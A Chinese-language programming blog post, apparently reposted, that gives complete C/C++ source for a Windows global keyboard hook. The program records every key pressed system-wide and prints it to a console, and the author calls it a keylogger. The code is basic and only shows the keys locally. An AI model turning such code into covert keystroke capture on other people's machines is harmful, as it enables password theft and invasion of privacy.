C/C++ Hook 鍵盤記錄器


之前寫外掛做過指定進程的 Hook,但是沒有嘗試過全局 Hook,所以今天就來試試。全局 Hook 的用途我第一個就想到了鍵盤記錄器(貌似我也就想到了這個 哈哈),那就寫一個吧。

實現代碼:

#include <windows.h>
#include<iostream>
#include <stdio.h>
#include <conio.h>

using namespace std;

HHOOK keyboardHook = 0;		// 鈎子句柄

LRESULT CALLBACK LowLevelKeyboardProc(
	_In_ int nCode,		// 規定鈎子如何處理消息,小於 0 則直接 CallNextHookEx
	_In_ WPARAM wParam,	// 消息類型
	_In_ LPARAM lParam	// 指向某個結構體的指針,這里是 KBDLLHOOKSTRUCT(低級鍵盤輸入事件)
	){
    KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;		// 包含低級鍵盤輸入事件信息
	/*
	typedef struct tagKBDLLHOOKSTRUCT {
		DWORD     vkCode;		// 按鍵代號
		DWORD     scanCode;		// 硬件掃描代號,同 vkCode 也可以作為按鍵的代號。
		DWORD     flags;		// 事件類型,一般按鍵按下為 0 抬起為 128。
		DWORD     time;			// 消息時間戳
		ULONG_PTR dwExtraInfo;	// 消息附加信息,一般為 0。
	}KBDLLHOOKSTRUCT,*LPKBDLLHOOKSTRUCT,*PKBDLLHOOKSTRUCT;
	*/
    if(ks->flags == 128 || ks->flags == 129)
    {
		// 監控鍵盤
		switch(ks->vkCode){
		case 0x30: case 0x60:
			cout << "檢測到按鍵:" << "0" << endl;
			break;
		case 0x31: case 0x61:
			cout << "檢測到按鍵:" << "1" << endl;
			break;
		case 0x32: case 0x62:
			cout << "檢測到按鍵:" << "2" << endl;
			break;
		case 0x33: case 0x63:
			cout << "檢測到按鍵:" << "3" << endl;
			break;
		case 0x34: case 0x64:
			cout << "檢測到按鍵:" << "4" << endl;
			break;
		case 0x35: case 0x65:
			cout << "檢測到按鍵:" << "5" << endl;
			break;
		case 0x36: case 0x66:
			cout << "檢測到按鍵:" << "6" << endl;
			break;
		case 0x37: case 0x67:
			cout << "檢測到按鍵:" << "7" << endl;
			break;
		case 0x38: case 0x68:
			cout << "檢測到按鍵:" << "8" << endl;
			break;
		case 0x39: case 0x69:
			cout << "檢測到按鍵:" << "9" << endl;
			break;
		case 0x41:
			cout << "檢測到按鍵:" << "A" << endl;
			break;
		case 0x42:
			cout << "檢測到按鍵:" << "B" << endl;
			break;
		case 0x43:
			cout << "檢測到按鍵:" << "C" << endl;
			break;
		case 0x44:
			cout << "檢測到按鍵:" << "D" << endl;
			break;
		case 0x45:
			cout << "檢測到按鍵:" << "E" << endl;
			break;
		case 0x46:
			cout << "檢測到按鍵:" << "F" << endl;
			break;
		case 0x47:
			cout << "檢測到按鍵:" << "G" << endl;
			break;
		case 0x48:
			cout << "檢測到按鍵:" << "H" << endl;
			break;
		case 0x49:
			cout << "檢測到按鍵:" << "I" << endl;
			break;
		case 0x4A:
			cout << "檢測到按鍵:" << "J" << endl;
			break;
		case 0x4B:
			cout << "檢測到按鍵:" << "K" << endl;
			break;
		case 0x4C:
			cout << "檢測到按鍵:" << "L" << endl;
			break;
		case 0x4D:
			cout << "檢測到按鍵:" << "M" << endl;
			break;
		case 0x4E:
			cout << "檢測到按鍵:" << "N" << endl;
			break;
		case 0x4F:
			cout << "檢測到按鍵:" << "O" << endl;
			break;
		case 0x50:
			cout << "檢測到按鍵:" << "P" << endl;
			break;
		case 0x51:
			cout << "檢測到按鍵:" << "Q" << endl;
			break;
		case 0x52:
			cout << "檢測到按鍵:" << "R" << endl;
			break;
		case 0x53:
			cout << "檢測到按鍵:" << "S" << endl;
			break;
		case 0x54:
			cout << "檢測到按鍵:" << "T" << endl;
			break;
		case 0x55:
			cout << "檢測到按鍵:" << "U" << endl;
			break;
		case 0x56:
			cout << "檢測到按鍵:" << "V" << endl;
			break;
		case 0x57:
			cout << "檢測到按鍵:" << "W" << endl;
			break;
		case 0x58:
			cout << "檢測到按鍵:" << "X" << endl;
			break;
		case 0x59:
			cout << "檢測到按鍵:" << "Y" << endl;
			break;
		case 0x5A:
			cout << "檢測到按鍵:" << "Z" << endl;
			break;
		case 0x6A:
			cout << "檢測到按鍵:" << "*" << endl;
			break;
		case 0x6B:
			cout << "檢測到按鍵:" << "+" << endl;
			break;
		case 0x6D:
			cout << "檢測到按鍵:" << "-" << endl;
			break;
		case 0x6E:
			cout << "檢測到按鍵:" << "." << endl;
			break;
		case 0x6F:
			cout << "檢測到按鍵:" << "/" << endl;
			break;
		case 0x0D:
			cout << "檢測到按鍵:" << "Enter" << endl;
			break;
		case 0xA0: case 0xA1:
			cout << "檢測到按鍵:" << "Shift" << endl;
			break;
		case 0x08:
			cout << "檢測到按鍵:" << "Backspace" << endl;
			break;
		case 0x20:
			cout << "檢測到按鍵:" << "Space" << endl;
			break;
		}
		
        //return 1;		// 使按鍵失效
    }

	// 將消息傳遞給鈎子鏈中的下一個鈎子
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int _tmain(int argc, _TCHAR* argv[])
{
	// 安裝鈎子
	keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,			// 鈎子類型,WH_KEYBOARD_LL 為鍵盤鈎子
		LowLevelKeyboardProc,	// 指向鈎子函數的指針
		GetModuleHandleA(NULL),	// Dll 句柄
		NULL					
		);
    if (keyboardHook == 0){cout << "掛鈎鍵盤失敗" << endl; return -1;}

    //不可漏掉消息處理,不然程序會卡死
    MSG msg;
    while(1)
    {
		// 如果消息隊列中有消息
        if (PeekMessageA(
			&msg,		// MSG 接收這個消息
			NULL,		// 檢測消息的窗口句柄,NULL:檢索當前線程所有窗口消息
			NULL,		// 檢查消息范圍中第一個消息的值,NULL:檢查所有消息(必須和下面的同時為NULL)
			NULL,		// 檢查消息范圍中最后一個消息的值,NULL:檢查所有消息(必須和上面的同時為NULL)
			PM_REMOVE	// 處理消息的方式,PM_REMOVE:處理后將消息從隊列中刪除
			)){
				// 把按鍵消息傳遞給字符消息
				TranslateMessage(&msg);

				// 將消息分派給窗口程序
				DispatchMessageW(&msg);
		}
        else
            Sleep(0);    //避免CPU全負載運行
    }
	// 刪除鈎子
    UnhookWindowsHookEx(keyboardHook);

	return 0;
}

效果圖:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM